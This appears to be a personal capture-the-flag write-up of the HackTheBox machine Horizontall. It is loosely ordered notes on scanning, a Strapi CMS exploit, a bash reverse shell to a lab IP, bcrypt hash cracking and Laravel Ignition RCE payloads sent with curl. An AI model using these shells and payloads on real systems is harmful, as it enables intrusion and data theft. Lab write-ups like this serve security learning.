Horizontall
Personal Rating: Medium
Last updated
Personal Rating: Medium
Last updated
sudo nmap -A -p- -oA nmap-horizontall 10.10.11.105
We are redirected to horizontall.htb when giving the IP
At the bottom there is a contact form:
The site does not have cookies.
Checking with Burpsuite, the contact form does not send anything.
According to Wappalyzer the site uses: Ubuntu, Nginx 1.14.0, Webpack and core-js 3.13.1
Simple webdir/file scan:
feroxbuster -u http://horizontall.htb
VHost scan:
ffuf -u http://horizontall.htb -H 'Host: FUZZ.horizontall.htb' -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -t 64 -fs 194
api-prod
Checking some extensions, index.html works, so it's a static page as it seems.
In one of the js files “Vue.js v2.6.12” is mentioned.
For the OpenSSH version there is a username enumeration according to searchsploit, but nothing really interesting.
Adding the Domain I found with the VHost scan to my hosts file, I can access it:
This quickly found somthing:
So Strapi is the CMS. The site also uses styled-components 4.4.1 and React.
Searching for strapi, there is a striking vulnerability:
This seems to be the way as the exploit worked to get a valid token
authenticated JSON Web Token:
I tried some commands in the exploit shell and this one worked to get a netcat shell:
bash -c 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'
I added my public ssh key for persistence, which worked to get ssh access.
The user is strapi and his home is /opt/strapi. sudo -l does not work and he has no special groups.
ss -tlpn reveils that port 1337 and port 3306 (mysql) are internally listening. 1337 comes from the exploit, but the database might be of interest.
In /home there is the user ‘developer’.
uname -a: Linux horizontall 4.15.0-154-generic
I transferred linpeas.sh onto /opt/strapi/ with wget, made it executable with chmod +x and executed it
CVE-2021-4034 might work
strapi 1879 0.0 2.5 883716 51924 ? Ssl Jan15 0:12 PM2 v4.5.6: God Daemon (/opt/strapi/.pm2)
There we go, we have a password.
I could log in with mysql -u developer -p
hashcat --help | grep -i blowfish
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
hashcat -a 0 -m 3200 '$2a$10$5ifT08Gg.vNohDdl33qY..eiL77hPRKPdsaj7zFqCa8TZez6JN4s2' /usr/share/seclists/Passwords/rockyou.txt
This would take 9h, even on my GPU.
In my ss -tlpn output I overlooked that there is port 8000 open, which is unusual. I will start an ssh dynamic port forwarding and see whats on this port. Before that I will have a look at the database again.
ssh -D 9050 -i id_ed25519 root@10.10.11.105
proxychains nmap -A -p 8000 localhost
Laravel v8 (PHP v7.4.18)
After downloading the necessary dependency I attempted the exploitatoin with this:
proxychains python3 exploit.py http://127.0.0.1:8000 /var/www/html/laravel/storage/logs/laravel.log 'id'
Since this did not work because of network issues, I transferred the exploit onto the host and executed it there.
This did not work either, as it seems, again because of some networking issues.
Finally, I could make it work, there was just a misconfiguration in the browser settings.
I had to set the socks5 proxy 127.0.0.1:9050 in the browser after setting localhost proxy manipulation protection to off in about:config
ls -lRha | grep -i laravel
I could now try the exploit again, but I noticed that there is no laravel log file, so It will not work anyways. I searched the entire system and there are no files with laravel in the name.
This looks promising, I might have to make the server create a log first.
According to the article, the test for vulnerability worked and the following command returned the right error:
curl -d '{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd%00"}}' -H 'Content-Type: application/json' http://127.0.0.1:8000/_ignition/execute-solution | grep failed
Then the guide suggest clearing the log file like this:
This returned a ton of output and also revealed the folder /home/developer/myproject/vendor/laravel
Since I finally know the laravel folder, I might try the other exploit from exploitdb again.
I will poke around more to find the log location
Got it!
does not connect.
feroxbuster -u
I did not manage to establish a proxied connection to the server with a browser at first, but a simple proxychains curl revealed this:
searchsploit does not return anything for Laravel v8. A web search shows a possible RCE for some Laravel 8 versions. I will try this:
For some reason, proxychains curl works, but using a proxy in the browser does not.
feroxbuster --proxy socks5://127.0.0.1:9050 -u -C 404 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
curl -H 'Content-Type: application/json' -X POST -d '{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/read=consumed/resource=/src/storage/logs/laravel.log"}}'
I retrieved this on my host: git clone and made a tarball of it and transferred it onto the target with a python server and wget. I then executed the python exploit again, but it did not work, so I will continue to follow the guide.
python3 exploit.py /home/developer/myproject/vendor/laravel/storage/logs/laravel.log ‘id’
